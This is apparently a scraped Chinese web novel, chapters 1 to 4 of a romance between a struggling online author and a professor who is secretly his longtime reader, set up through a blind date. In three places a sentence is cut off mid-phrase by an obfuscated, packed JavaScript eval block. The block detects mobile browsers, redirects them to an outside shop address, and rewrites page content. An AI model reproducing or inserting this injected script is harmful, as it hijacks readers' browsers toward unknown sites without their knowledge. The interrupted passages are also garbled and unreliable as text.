《被年上教授捡走之后》 1. 第 1 章 顾辞安被他妈妈的电话吵醒的。 刺耳的铃声猝不及防穿透耳膜,屏幕上赫然出现的“李女士”三个大字好像催命符一般,半秒就让他瞬间清醒。 清晨的平静随着电话的到来逐渐被打破,他也烦躁起来。 他眉头一皱,清了清嗓子,犹犹豫豫直到快要自动挂断的时候,才勉强划过接听键,还没来得及说话,电话那头就劈头盖脸地传来一通指责。 “这都几点了,还在睡!整天就熬夜写那些东西,不务正业。看看现在,别人都结婚生子,我就不求你有孩子什么的,起码踏踏实实找个人结婚好好过日子……*%#@@&*。” 那边絮絮叨叨一直没停,他顺手点了外放功能,拿着手机去了客厅,伸手从茶几上只剩几根的烟盒中抽出一支,含在嘴里仰头靠在沙发上。 心里烦闷,习惯性抬手捏了捏眉心,按着打火机点燃了烟,深吸一口,那些难出口的情绪随着吐出的烟圈飘散在空中。 “你听没听啊,之前你赵姨给你介绍的那几个相亲对象怎么回事,一个都没音儿,我跟人道歉了半天,人家都没介意,这次这个你可得给我好好聊。人家是大学教授,各方面都优秀,你别再掉链子了。” 顾辞安清了清嗓子,敷衍着说:“知道了,妈。” “我一会儿让你赵阿姨把人家的联系方式发给你,你跟人家约一下时间,听到没,别不当回事儿。” “好。”顾辞安忍着不耐烦的语气答道。 “行了,就这事儿,挂了。” 同意归同意,他自有自创的一套真诚到不能再真诚的说辞劝退对方,就跟前面的几个人一样,见面而已,至于成与不成,就不是单方面的问题了。 木质地板上铺着一方蒲团,顾辞安盘腿席地而坐,面前的茶几上摆着一台用了有些年头的旧笔记本电脑。 指尖轻滑鼠标滚轮,屏幕上赫然是惨淡的数据后台,点击寥寥,评论稀落。 这样冷清的境况,悄无声息地,已经持续了好几年。 顾辞安看着手机上房东发来的收租信息,房租到下个月底就到期了,想想自己银行卡余额可怜的数字,暗暗叹了口气,看来接下来一段时间又得省吃俭用地过了。 点开评论页面,新的旧的,每一条评论都像铺满荆棘的藤编,一遍遍鞭笞着自己,也习惯了,顾辞安面无表情地扫过,相似的内容,熟悉的文字,中肯的评价。 【除了文笔,其他没有一点值得看的,弃了吧!】 【文字太压抑,我只想看点快乐的,每天工作都那么累,还得来这里受罪。】 【从作者第一本书的时候无意中看到的,说实话,当时真的感觉作者很有天赋,文也很吸引人,几年过去了,不仅没进步,反而越写越差劲了,不想追了。】 …… 「提笔书辞意」再也道不出“辞意”,灵感枯竭,情感迟钝,是浪漫主义者为现实低下的头颅。 回想起到底为什么会变成这样,顾辞安不由自嘲地笑了,自言自语道:“能怪谁呢,谁都怨不着。” 这时一行标着黄v的字十分醒目,出现在了众评论中,底下还有不少骂声,评论时间显示,凌晨三点半: 【辛君捻墨:创作本就不易,不必在随波逐流的声音中自我怀疑,按照自己的节奏和想法写下去,永远是最忠实的读者。】 「辛君捻墨」是「提笔书辞意」十年来为数不多、一直不离不弃的书粉,也是第一个鼓励他坚持梦想、不要放弃的人。 他写的每一篇,不论是小说、短文,还是社交账号上发表的动态,对方都会认认真真写书评,点赞。 虽然书粉不多,但是顾辞安打心底里觉得有人喜欢自己写的东西是一件很幸福的事情。 顾辞安看着这行字,眼底先软了,随即是一抹浅淡的微笑,干净、释然,尽管这些年没赚到什么钱,也的确没什么资格,但只要有一个人喜欢自己,他就会一直写下去。 顾辞安没有回复,最近的风向不太好,他不愿给对方招黑。 他耸了耸肩,那点点拧巴的情绪豁然开朗,感觉心底好像有什么东西沉沉落了地,踏实了不少。 指尖轻快地点开了写作页面,键盘敲击的声音此起彼伏。 他下意识用左手揉捏手腕时,墙上挂的表盘时针已经转过了三圈,再次触碰鼠标的时候,手掌虚浮,显然有些无力。 顾辞安对自己的身体大条惯了,不甚在意地伸手,随手从装着一沓膏药贴的抽屉里拿了一张,娴熟的撕开后在手腕上缠了一圈,继续着手里的活儿。 * 唐灼今天看学生的硕论看得有些久。 临近毕业却迟迟没能作出合格的数据,知道学生心里着急,毕竟涉及毕业证和签工作的关键时期,不能有一点差池。 要知道,如果延毕,耽误的不是一丁半点。 整整三页的修改意见让唐灼足足写到凌晨三点,他很少这么晚才睡,其实没必要这么费力,慢慢写也行,但唐灼还是怕学生着急,索性一股脑写完了。 他抬手揉了揉发涨的头,将文件发给学生后,像往常一般点进「提笔书辞意」的专栏。 不出意外,又多了几条新的书评。 今天的有些难入眼,唐灼不由眉头微蹙,沉思片刻,比改学生论文更慎重地输入斟酌好的一字一句,反复确认没什么问题后才点击【发送】,又转手为更新的新章节送了两个价值中等的礼物才关上电脑。 唐灼把第二天上班要用的东西都收拾好,简单洗漱后才躺到了床上。 身心疲惫,本不该失眠,可闭上眼还是难掩激动和忐忑,思绪不觉飘回了几天前,那个让他的人生轨道突然变得不可控的下午。 那天也如过去多年平淡的周末一般,唐灼按着多年形成的习惯,回家陪他爸妈吃晚饭,一进门就看到了坐在一旁和他妈妈聊天的赵阿姨。 赵阿姨是他爸妈的邻居,从小看着他长大,对唐灼很是喜爱,唯一遗憾的是唐灼喜欢男人,要不然她一定得好好撮合撮合,争取和唐灼家结成亲家。 对于惊讶之后逐渐释然接受现实的赵阿姨,唐灼自觉有些好笑,同性婚姻合法后,赵阿姨便热衷于给他介绍相亲对象。 他三十多年没遇到过自己喜欢的人,也一直没谈过恋爱,将精力全部放在学校工作上,所以每次都只能委婉拒绝。 “哎哟,小灼回来了,正和你妈说呢,这次肯定合你眼缘,长的特别帅,人也踏实,是个好孩子,来给你看看照片。” 赵阿姨二话不说拉着没来得及换鞋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434348|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐灼就开始推销,直接拿出手机将那人的照片递到唐灼眼前。 白皙的皮肤,眸间闪着光,浅棕色的卷发自然散落,确实好看,只是看着年纪比他小了许多。 唐灼看着照片摇了摇头,无奈笑道:“阿姨,真的不用了,您别在我这儿费心了。” 看着依旧拒绝的唐灼,赵阿姨也没意外,只是自言自语地喃喃道:“你这孩子,什么费不费心,哎可惜了,不过辞安那孩子哪儿都好,名校毕业,就是没什么正经工作,好像是在网上写小说的。” 本没什么兴趣的唐灼听到这,换鞋的动作都顿了顿。对方竟是作者,他本想听过就算了,不过出于私心,思索片刻还是忍不住纠正道:“写小说也是作者,是很令人尊敬的职业。” 似是又想到什么,转头问:“赵姨,你知道他的笔名吗?我有个朋友也是写小说的,或许有机会能交流交流。” 想到自己追了多年的作者最近的状况,不免揪心,想借鉴一下,看能不能给自己启发,起码在小作者问他建议的时候能更中肯,更客观一些。 赵阿姨以为唐灼松了口风,立马回道:“有有有,虽然他本人不愿说,不过我还是从他妈妈那里偷偷知道了一些,回去找找发给你。” “好,麻烦赵姨了。” 寒暄过后,赵阿姨也回家去做晚饭了。唐灼陪父母吃完饭呆了一会就驱车回到了他的住处。 下午的插曲早已忘了大半,直到躺在床上看着赵阿姨发来的信息时,再难自抑,三十年来沉稳克制的唐灼因为一张图片失控了。 图片上是赵阿姨扒出来的相亲对象的马甲,再熟悉不过的五个大字让他心止不住地跳动:「提笔书辞意」。 沉默了足足十分钟,他将下午看到的那张照片和网名确认了一遍又一遍,又打开「提笔书辞意」的社交主页翻看过去对方分享的一些日常。 翻了良久才看到,有张照片恰好在反光的玻璃上印出了拍照人的轮廓,隐约模糊的浅发、相似的身形轮廓,此刻,唐灼才终于回神,接受了这仿佛不可能的意外。 没想到的是,竟然是他,原来他名叫辞安。 他带着震惊又不可言说的心绪。 一夜未眠,直到窗外泛起鱼肚白,他收敛了思绪,打开和赵阿姨的聊天框,聊天记录停在了那句“要不要见面试试看” 一夜的时间足以让他想明白,早已心下了然,嘴角的弧度难压,指尖划过屏幕,打下一行字: 【好的赵姨,怎么方便怎么来。】 第二天,唐灼收到了一条新的好友申请。 犹豫片刻过后,指尖轻轻点击了【同意】。 礼貌的开启了他和顾辞安之间的第一次对话:【你好,我是唐灼。】 顾辞安看着自己给对方的备注“相亲对象8”,懒得改了,反正见面之后应该就会互删了,指尖滑动快速打下一行字。 【顾辞安:你好,我是顾辞安。赵阿姨把您的联系方式发给我的,见面时间您有提议吗?】 【没有,您这边定就好了。】 【顾辞安:那定在这周末,安和东路的咖啡馆可以吗?】 话说的直白冷漠,似乎和他想象中的不一样,唐灼眉间散着浅淡的笑意,觉得很有趣,回道:【可以,没问题。】 2. 第 2 章 顾辞安开着那辆几年前买的二手车,初春的风从车窗外缓缓吹来,带着花香味儿的风散落在狭小的空间里,今天的阳光格外温柔。 指尖随着音乐的律动轻轻拍打在方向盘上,他喜欢春天,更喜欢这样阳光明媚,风都带着暖意的好天气,心情都是轻飘飘的。 咖啡馆里人不多,舒缓的钢琴曲中揉着淡淡的咖啡香,顾辞安坐在椅子上,姿态松散,神情没什么波澜,置身事外一般等着即将来的人。 略显笨重的门被推开,他抬眸的瞬间便和男人扫视一圈的神情撞了个满怀。 他没见过唐灼的照片,不过那人似是知道他就是顾辞安,直直地朝他走来。 挪椅,落座。 全程没有发出一点刺耳的声响,举手投足尽显温润得体的教养和从容。 顾辞安暗自给唐灼和之前相亲的人们划分了群体,不是油腻、不知分寸的,仅仅是简单的动作,就让人感觉很舒服,连语气都礼貌了不少:“唐先生,您好,喝点儿什么?” 唐灼双手轻轻搭在膝盖上,掌心冒着汗,声音却是沉稳的:“顾先生,您好。热拿铁就好,不加糖。” 顾辞安微微颔首,唤来店员要了一杯冰美式和热拿铁,唐灼习惯性地记下了顾辞安的喜好。 倒也不是特意为之,多年来养成的习惯,让他和别人无论是吃饭、喝茶还是任何社交场所,都会下意识记住对方的喜好和忌口,以备不时之需。 直到咖啡端来的时候,顾辞安才意识到,自己竟不经意间打量了许久面前正襟危坐的男人。 唐灼穿着素色衬衫,气质温雅,眉眼间带着一股安静的书卷气,看着温和又干净,是别人眼里那种很体面的类型。 和顾辞安一对比,根本就不像能坐在一起喝咖啡的人,两人类型不同,气质也迥然不同,更不像是能走到一起的一对儿。 他不想浪费对方的时间,仍旧按着之前劝退形形色色相亲对象的说辞准备速战速决,可唐灼实在没有让他不舒服的地方,所以语气也不像之前那么冷漠随意。 顾辞安摸索着手中的杯沿,声音轻又凉,语气平淡礼貌得仿佛不像在说自己的事: “唐先生,我的情况赵姨应该跟您说了点。我今年28,父母就是普通的退休职工,有辆二手车,不怎么值钱,一个人租房住,毕业之后就在家写小说。”说到这儿,轻笑了一声,自嘲一般:“不是什么正经工作,烟抽得凶,偶尔也喝点儿酒,不是什么好习惯。说实话,我也是为了应付家里没办法,况且,以您的条件实在没必要在我这儿浪费时间。” 他顿了顿,抬眼看向唐灼,眼眸坦荡,话说的直白,但也是事实:“如果有冒犯到唐先生的地方,我向您说一声抱歉。” 话音落下,唐灼手心的汗早已在摩挲中擦干,没有了初见时的欣喜,只觉得心口莫名有些发紧,入口的咖啡苦了不少,没有之前来那次好喝。 自从知道小作者就是顾辞安后,二者就在他心里渐渐重叠成一人,他知道顾辞安这几年过得并不算太好,但没想到,小心翼翼捧在手心的小作者,竟然早已将自己看得一文不值,空落落的。 气氛悄然安静,顾辞安也没急着等对方回答,应该都大差不差,他估摸着对方只是在思考如何能温和又不失礼貌地拒绝,紧接着便在心里盘算一会儿道别后去哪儿转转,天气不错,适合找个地方捕捉捕捉灵感。 然而,出乎意料的是,唐灼真诚地看着他,平静的嗓音缓缓传来,却在顾辞安心中砸下一片涟漪:“顾先生,您不必妄自菲薄,在我看来,无论是写小说还是散文,都是文学作家,是令人尊敬的,不是所有人都能从事这个行业,它需要天赋和拥有对世界的感知力。” 没有场面话的客套,也不是虚浮的恭维,是发自内心对于作者这个职业的尊重,除了「辛君捻墨」,没人这么跟他说过。 明明是快三十的人了,听到这种话还是不由得鼻尖酸胀,或许是今天空气中的花粉过于浓烈了些,让他有些不舒服。 顾辞安眸光褪去了那股子清冷,柔和了不少,声音是飘着的:“谢谢您,唐先生。” 没有多余的话,不知道说些什么,靠写文过活的人也能像此刻一样哑了声。 唐灼微微笑了一声,语气松弛,让人不自觉就从刚刚沉重的对话中抽离出来: “顾先生,我介绍一下我的情况,比你大几岁,今年35岁,不过应该不算老吧,不知道您介不介意。目前在T大任职,有一辆车和一套房,如果没什么重大事件发生的话,我的工资和存款应该够一个家庭的正常开支,这点不必担心。还有就是,如果我觉得在浪费时间,就不会有这场对话了,您说呢?” 顾辞安听着对方那句,带着调侃意味的“不知道您介不介意”愣了片刻,着实没想到镜片下沉稳内敛的教授也是会开玩笑的,他不是个愚钝的,知道对方这通话不仅将彼此放到了对等的位置上,也有那么一点缓解气氛的意思。 他会心一笑,内心的抗拒早已因为唐灼出口的第一句话一扫而光,再开口时,真诚了许多,笑着应道:“唐教授,我想以您的条件,我似乎也没什么好挑剔的,但我确实是有些应付的成分在,没太当真。” 对于顾辞安的坦诚,唐灼很是受用,少了那些弯弯绕绕的猜测,这种打直球的方式也方便他更好地掌握主动权。 “嗯,我明白。我听顾先生的意思,家里似乎催的有些急,如果您不介意的话,我认为,我们可以试着相处,我这边年纪也确实不小了,家里的意思也是建议能稳定下来最好。至于您说的,我觉得都挺好的,没什么问题。” 充分理解、理由充足、进退得体,成年人之间不需要多的解释,试着相处的意思就是,我觉得不错,有更进一步的打算。 这样的进展让顾辞安有些不知所措,和自己预设的结果不一样,甚至是完全走偏,他又试着追问,怕对方对于这件事决定的太过草率,也怕对方急着结婚对自己认知有偏差,毕竟他着实算不上条件好。 顾辞安自己倒是无所谓,换做别人的话,这场对话早在一开始就判了死刑,也早跑了,但唐灼确确实实是他见的人里面最让他舒服的,抛开感情不说,是个适合结婚的人。他怕对方对于这件事决定得太过草率: “唐先生,您确定吗?” 唐灼听完却没表露出半点意外,似是知道顾辞安心中的碎碎念,嘴角微微向上弯,语气诚恳又笃定:“嗯。” 落地的玻璃外恰好种着一棵桃树,春日的风席卷着花恰好落在窗前,顾辞安心下了然,或许试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434349|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试也不错:“好。” 两人又简单聊了片刻后便从咖啡馆离开了,唐灼下午还有课,和顾辞安打了个招呼就打车走了。 顾辞安坐上自己的小破车的时候还是觉得有些脑袋昏沉,虽说家里一直以来的催婚令他偶尔充满戾气,但还是克制着,不愿再进行无谓的争吵,没有意义,所以也就由着他妈妈,见了一个又一个相亲对象。 不过每次顾辞安把他那套并不令人有结婚欲望的话术往出一摆,轻轻松松就把对方打发了。 他是很抗拒相亲的,觉得大家只是在和对方的条件结婚,把工作、财务状况、父母等各种各样的硬性条件一个个摆在明面上。 好像是橱窗里的商品,漂亮的、有价值的、实用的就会被人争先恐后买走,而那些看上去华而不实的就容易滞留很久。 相亲也是如此,双方觉得条件合适,彼此对照后,就可以组建家庭,不需要任何感情的搭建。 今天的事情显然是有些偏离了。 “嗡……嗡……”手机铃声响起,顾辞安拿起手机看到备注“李女士”眉头一蹙,停顿了片刻,手指划过接听键。 “辞安,今天相亲怎么样,人家是大学教授,工作体面又稳定,你好好表现了没,别又黄了……”依旧是充满尖锐的语气,仿佛他做什么都不会满意似的。 多年来心理上的反抗早已让他疲惫不堪,虽说进展确实算得上顺利,但顾辞安不愿透露过多,语气冷漠地应着:“对方挺好的,聊得也挺好。” 听到顾辞安这么说,李女士的语气总算是满意了一些:“那就行,总是个好的,好好和人相处,也别摆出你那副清高的样子,相亲就是本着结婚去的,觉得不错就尽早定下来,自己努努力。” 说得像是急着把自己“卖”出去一样,顾辞安靠在椅背上,尽量不让自己发出声音,深吸了一口气,又重重地吐出,这才将一肚子想吵架的话咽了回去:“知道了,我在路上,先不说了。” “你记着好好跟人聊啊!”知道顾辞安不愿多说,还是忍不住嘱咐完才不舍地讲电话挂断。 挂了电话后顾辞安启动车,漫无目的地在路上开着,感受城市的繁华,路人的行色匆匆,直到心中的烦躁随着滚动的车轮缓缓散去,才驱车驶向那几十平的蜗居。 屋子里依旧冷冷清清的,没有一丝温暖,但也不全是坏处,在这里他是放松惬意的。 肚子有些饿了,打开冰箱,除了各种茶饮和鸡蛋再无其他,顾辞安从柜子里拿出一袋泡面,将接了水的小锅放到灶台上,倚在旁静静地等待水烧开。 他不喜欢也不会做饭,房间却收拾得干净整齐,但在外人面前永远声称自己不爱做家务。顾辞安骨子里是傲气的,他不愿干伺候人的活计。 想到这儿,顾辞安喃喃道:“啧,忘了和唐教授说这个了。” 他将煮好的面端到客厅的茶几上,盘腿坐在地上。面的味道不怎么好,不过胜在方便,即使是方便面,也依旧吃得体面、慢条斯理,安静有序,没有一点狼吞虎咽的模样。 味同嚼蜡地吃完,他就着姿势仰躺在沙发上,眼神呆滞地注视着前方,忽然就想到了今天唐灼对于作者这个职业的评价,眼眸瞬间清亮了不少,自言自语:“原来,被认可是这种感觉。” 3. 第 3 章 顾辞安没想到,在他二十八岁这一年,能有人说他做的事情不是不务正业,还一板一眼地纠正他的说辞,实在是有趣,也打心眼儿里高兴。 那天之后,两人也没再联系,虽说唐灼的意思是可以试着相处,但回头想想,教授也有可能回去斟酌后,觉得不是那么回事儿,可以理解,不强求,也没那心思。 就在顾辞安以为这事儿就这么过了的时候,唐教授的电话就这么来了,备注还没改,还是“相亲对象8”,顾辞安看到的时候愣了半晌才反应过来。 “顾先生,打扰到您没?” 顾辞安疑惑着问:“没有,唐教授,您有什么事吗?” 唐灼轻笑一声,礼貌询问:“没什么特别要紧的,有空约个饭吗?” 也没什么问题,毕竟当初自己也答应了试着相处,吃饭确实算是约会了。既然话都说到这个地步,也没什么理由推辞,没必要扭捏,彼此心知肚明足矣。 “好的,时间您定吧,我时间上没什么需要注意的。” “那周六中午,可以吗?” “可以的。” 电话挂的时候,两人也没互道晚安,没熟到那个地步,况且晚安这个词对于他俩的关系,还是多少有些暧昧的。 简洁明了的对话,没有掺杂多余内容,确实妥当。 顾辞安不擅长和人沟通,不是不会说,硬聊的话完全应付得来,但他会觉得不舒服,不自在,好在唐灼不是那种没有边界的人。 地点是唐灼定的,顾辞安对这些向来没什么要求,他觉得唐教授在这方面还是多少有些拿得出手的。 是一家私房菜馆,菜色齐全,南北方的都有,也不需要担心会不会不合口味。 顾辞安到的比较早,他习惯比约定的时间早到十分钟,不喜让别人等,除非特殊情况,更不可能迟到,在他看来这是十分不礼貌的行为,不过也仅仅是对自己的要求,对别人,他从来都是随意宽容的。 唐灼从巷口拐进来的时候,眨眼间就看到了正在门口站着抽烟的顾辞安,清瘦的身形套了一件纯白T恤,指尖夹着烟放在唇边,缕缕烟雾在一张一合间随意吐出。 只要是顾辞安,不管做什么,唐灼都觉得是耀眼的、阳光的,不用刻意摆弄就吸引了他的全部注意。 顾辞安一个人的时候总容易发呆,没注意到身后的脚步声。 “顾先生,抱歉,路上有些堵车,让你等我了。” 嘴里说着抱歉,可顾辞安没听出半点抱歉的意思,他只觉得唐灼今天心情应该不错。 “没事,我也刚到。”说着顺手把手里还未抽完的半支烟,捻灭扔进了旁边的垃圾桶里。 座位是唐灼提前定好的,不在大厅,一个不大的包房。 包房布置得雅致静谧,木质雕花隔断恰到好处地将空间衬得十分温润,一张长方形实木茶桌放在靠墙的位置,看得出来老板是个注重细节的人,桌子抛却了传统主次之分的座位摆放,横放着,让人与人之间的距离不由近了几分。 顾辞安兴趣十足地打量了好一会儿,他心想回去要好好研究一番,查查资料,可以作为写文的素材,以前确实没注意到这里面的讲究竟然这么多。 唐灼看着顾辞安的眼神,觉得有趣,没有立刻打断他,隔了一会儿待顾辞安的视线有收回的意味,才适时地说:“顾先生,有什么忌口吗?” “啊、、啊,没有。”顾辞安回神,嘴跟不上脑子,回应的时候都慢了几分。 二人落座,中间隔了一个餐位,不远不近,恰到好处。 唐灼递来菜单让他先点,顾辞安接过菜单反反复复翻了两遍才点了一个不容易出错的菜和一道甜点。顾辞安实际上不怎么擅长点菜,他在选择这件事上很容易纠结,经常是浪费了时间最后还是什么都没看好。 两个人就一道菜和一份甜品肯定是不够的,唐灼又补充了几个后才算点完,但还是问顾辞安:“这些可以吗?如果有不喜欢的就换成别的。” “没有。”补充的几道恰好都非常符合顾辞安的口味,顾辞安还有些小确幸。 “顾先生,平常除了写作还有其他爱好吗?”一边等着上菜,一边聊,总得找点儿话题,不至于让气氛过于安静。 “没什么爱好,我写作也不需要特意找个地方,所以大部分都是宅在家的,挺无聊的吧。”顾辞安自嘲地说。 “没什么无聊的,我还挺感兴趣的,那是不是需要偶尔出门找灵感。” 顾辞安本来话不多,他没有和别人以这样的关系吃饭约会过,但聊到自己感兴趣的地方时就会停不下来,这源于他对写作的热爱和兴趣: “嗯,是的。因为职业的特殊性,大部分全职作者都是只需要一台电脑就可以进行创作,很少有人特意去找专门的工作室,基本都是在家。” 唐灼看着顾辞安指尖轻轻点在餐桌上,对方的眼睛虽注视着他却向上飘着,一副认真思考的样子,唐灼没有打断,只是静静地听着。 “因为写作需要很多对生活的观察、理解和自我感知,所以在家呆着,时间久了很容易闭门造车,脑子里的东西就那么多,用完需要补充、学习,所以需要向外求索。” “有人喜欢隔段时间抽一两个礼拜去感兴趣的地方旅游,也有人以旅居的方式来寻找灵感,大到一个地方的风土人情、建筑风格,小到街头巷尾的烟火气,都是值得深入挖掘的。” 顾辞安谈到这些的时候,眼里是闪着光的,没有了平日的暗淡无神,整个人由内而外透露着一股鲜活的、向上的生命力。 唐灼看得有些出神,但嘴角是上扬的,这才是他的小作者,这才该是顾辞安本来的样子。 服务生进来上菜的时候,打断了这番对话,映入眼帘的便是这一幕,年轻男人眉间清亮,滔滔不绝地说着什么,另一个稍显成熟的男人,支着肘撑在桌子上,目光落在那人身上,专注又认真。 不知道的人瞧着,只以为两人在谈论着什么要紧的大事。 然而,不过是一个兴致盎然,另一个甘之如饴。 看着唐灼一言不发的样子,顾辞安顿时静下来:“抱歉,是不是说多了。” 男人笑着,手里的动作却没停,用公筷夹了一只处理好的醉蟹:“尝尝,这家店的特色,味道还不错。” “谢谢。” “没觉得说多了,顾先生讲的很有趣,我在想,是不是有时候和陌生人聊天,也会容易获得到灵感。” 听唐灼这么回答,顾辞安总算松了口气。毕竟这顿饭吃下来,光自己一个人在这儿说个不停,也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434350|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾及到唐灼愿不愿意听。况且,之前也没人和他聊过这些,倾诉欲便不由得多了起来。 “嗯,很多好的作家出去采风的时候,不会仅仅停留在景色和当地特色上,有人喜欢辞藻华丽的文艺作品,而有人擅长写直白通透、见于平淡的草根作品。” 顾辞安顿了顿,拿了支筷子,轻轻在桌布上画着,像是在刻画人物一般: “各有各的好,面向的读者也不一样。像故事类的文章就更需要参透人性,除了是非曲直外还有身不由己,而这些不是光凭想象就能写出来的,需要见不同的人,了解不同的事。 你看,就比如说早市上炸油条的大叔,旁边背着婴儿低头买菜的妇女,为一块钱的菜价争论不休嫌老伴儿买贵的老婆婆……这些形形色色的路人,构成了庞大的世界,渺小但不可或缺,是他们的故事和生活铸就了这充满色彩的世界。” 即便和顾辞安做了十年网友的唐灼,见到这一幕也是恍然的,这是顾辞安的世界,是无论身处何地,依旧感受和爱着这个世界的顾辞安,是用自己的眼睛“提笔书辞意”的顾辞安。 唐灼此时此刻无比庆幸自己在多年前就认识了那个作者。 彼时的他笔下尚浅,没有如今寥寥数语间透露出的通透深刻的见解,可一行行的文字间,藏着独属于他的风格。 而多年后的今天,人坐在他面前,褪去了年少时的青涩,眼里话里充满了怜爱世人的悲悯之心,即使身在浮华喧嚣的尘世间,也从来没迷失过半分。 直到顾辞安没有继续说下去的意思,唐灼才温和地评价,声音是沉稳的,心里却是激动热烈又热爱虔诚的:“顾先生能对人、对事有这份见解,实属难得,我相信您的作品一定十分优秀,能认识顾先生,是我的荣幸。” 顾辞安笑着说道:“谢谢,不过没什么人看,我这几年也没写出什么好的小说,让您见笑了。” “时间问题,不必着急,我相信你。” 我相信你。 这四个字,第一个对他说的人是「辛君捻墨」,第二个便是唐灼。 不需要过分夸张的赞赏,不真实,简简单单的四个字足矣。 顾辞安庆幸能认识唐灼,即便两人不是相亲对象,他确信,唐灼无论在何时何地,作为朋友,都是一个善解人意、通透体贴、让人相处起来舒服的人。 简单的一顿饭,因为这番对话吃得久了些,顾辞安也比往常吃得多了些,心情好了自然而然就容易吃撑,肚皮是鼓囊囊的,心里是扬着的,好久没这么和人聊过了。 吃完没再多停留,二人并肩走着出了包房,距离比来的时候近了几分。 顾辞安走到前台叫来店员,准备结账,却没想到唐灼早已付过,第一次见面就让人请客,多少有点不合适。 “唐教授,您什么时候付的。”顾辞安终究是没说出AA这话,怕对方觉得生份,不喜这种方式,但这种欠人的滋味儿实在是不怎么样。 唐灼语气随意又尽显试探地说:“没关系,那……下次顾先生来?” 简简单单一句话既有了下次,又给足了对方台阶。 顾辞心下了然,笑着应道:“好啊,下次我来。” 两人互相道别,便各自离开。 这次说了“再见”。 4. 第 4 章 顾辞安最近写的是一篇大学校园文,中规中矩,没什么出彩的地方,自己其实也清楚问题到底出现在哪儿,对美好炽热的年少时的欢喜抱有悲观态度的人,又怎么能写出读者心中的爱情。 既然开文,也没有放弃的道理,这是他的坚持,无论好坏都得善始善终。 最近的评论区,讨伐声依旧此起彼伏。 【作者写不出校园文的感觉,勉强读到现在,一点都体会不到乔安内心的喜欢。】 【对啊,虽然那个臭屁的池岩很渣,但他俩之间的相处总感觉怪怪的。】 【真心建议作者,不行换个风格吧。】 【唉,以前写的校园文还是很有那种生机勃勃的感觉的,就有那种年少的热烈、不羁和肆意生长的感觉,现在越来越读不出来了。】 …… 顾辞安指尖滑动着滚轮,一条条认真看完后,对着屏幕苦笑一声:“我也知道啊……” 那天和唐灼聊了许久,第一次朝陌生人把自己的想法展现出来,有那么一瞬间,脑子里似乎蹦出了一点似有若无的想法,太快了,没抓住,之后几天顾辞安绞尽脑汁试图回想,可再也没能想起。不过,那天,他是舒服的、开心的。 如果是唐教授的话,试试好像也是可以的。 窗外淅淅沥沥的雨打在落地窗上,裹挟着泥土味的风顺着掩着的窗户缝悄悄钻进了房间。 书房桌子上的茶水冒着热气,淡淡的茶香和雨水的味道漫在空气中。 这样宁静的雨夜让人格外舒心,唐灼洗完澡坐在电脑前,头发还微微湿着,没太擦干净,水珠顺着发丝滑落进颈窝,骨节分明的手指熟练地在电脑上操作。 唐灼喜欢在工作结束后的夜晚读文,没什么特别的事,也没有能打扰到他的,就这样静静地享受自己那不为人知的喜好。 点进「提笔书辞意」的主页,《少年陷落》更新了。 《少年陷落》是顾辞安半年前开的一本新书,主要讲的是生活贫困性格内敛的乔安在大学时,遇到了能力出众,总是在人群中闪闪发光的池野。 池野会在回宿舍的时候顺手给他带食堂十五块钱两荤一素的盒饭,声称是买多了,会在乔安脸红耳热在台上吞吞吐吐汇报完作业无人问津时,响起掌声,也会在乔安初入这个小型社会的时候,教给他很多与人相处的方式和诀窍。 总而言之,从农村出来的乔安眼里,池野是他前二十年暗淡无光毫无色彩人生中,照进来的一束光,他羡慕他,感激他,在年少不知何为喜欢的年纪心中发了芽。 池野身边从不缺男女朋友,彼此喜欢就在一起,游乐人间,腻了就分开。这对于乔安是陌生难以理解的,但他觉得池野做什么都是对的,都有自己的理由。 因为池野对自己是真诚的,会和他聊八卦、聊最近的这个对象如何如何、也会偶尔透露出失恋后的沮丧难过。 乔安不会讲话,只是在每次池野失恋后陪着他默默绕着学校的操场转了一圈又一圈,从人声鼎沸到四下无人,赶着宿舍关门的最后一秒气喘吁吁推门而入。 和池野在一起,乔安的内心是激动兴奋小鹿乱撞的,听池野说恋爱故事的时候,乔安内心是又酸又涩的。 无论朋友如何劝告他少和池野那种渣男走在一起,乔安都笑着不回答。 故事自然而然发展到池野向乔安表白,乔安答应了。 乔安告诉自己,一个月、两个月,足矣。 他抱着没有结果的喜欢和随时抽身而退的想法,就这么淡淡地和池野谈恋爱了,这一谈就是令所有人大跌眼镜的三年。 唐灼点进更新的新章节,恰好讲到了分手的部分。 * “乔安,我们分开吧,三年了,觉得没意思了。”池野的语气和三年前他与每一任分手时如出一辙。 “嗯,好的。” 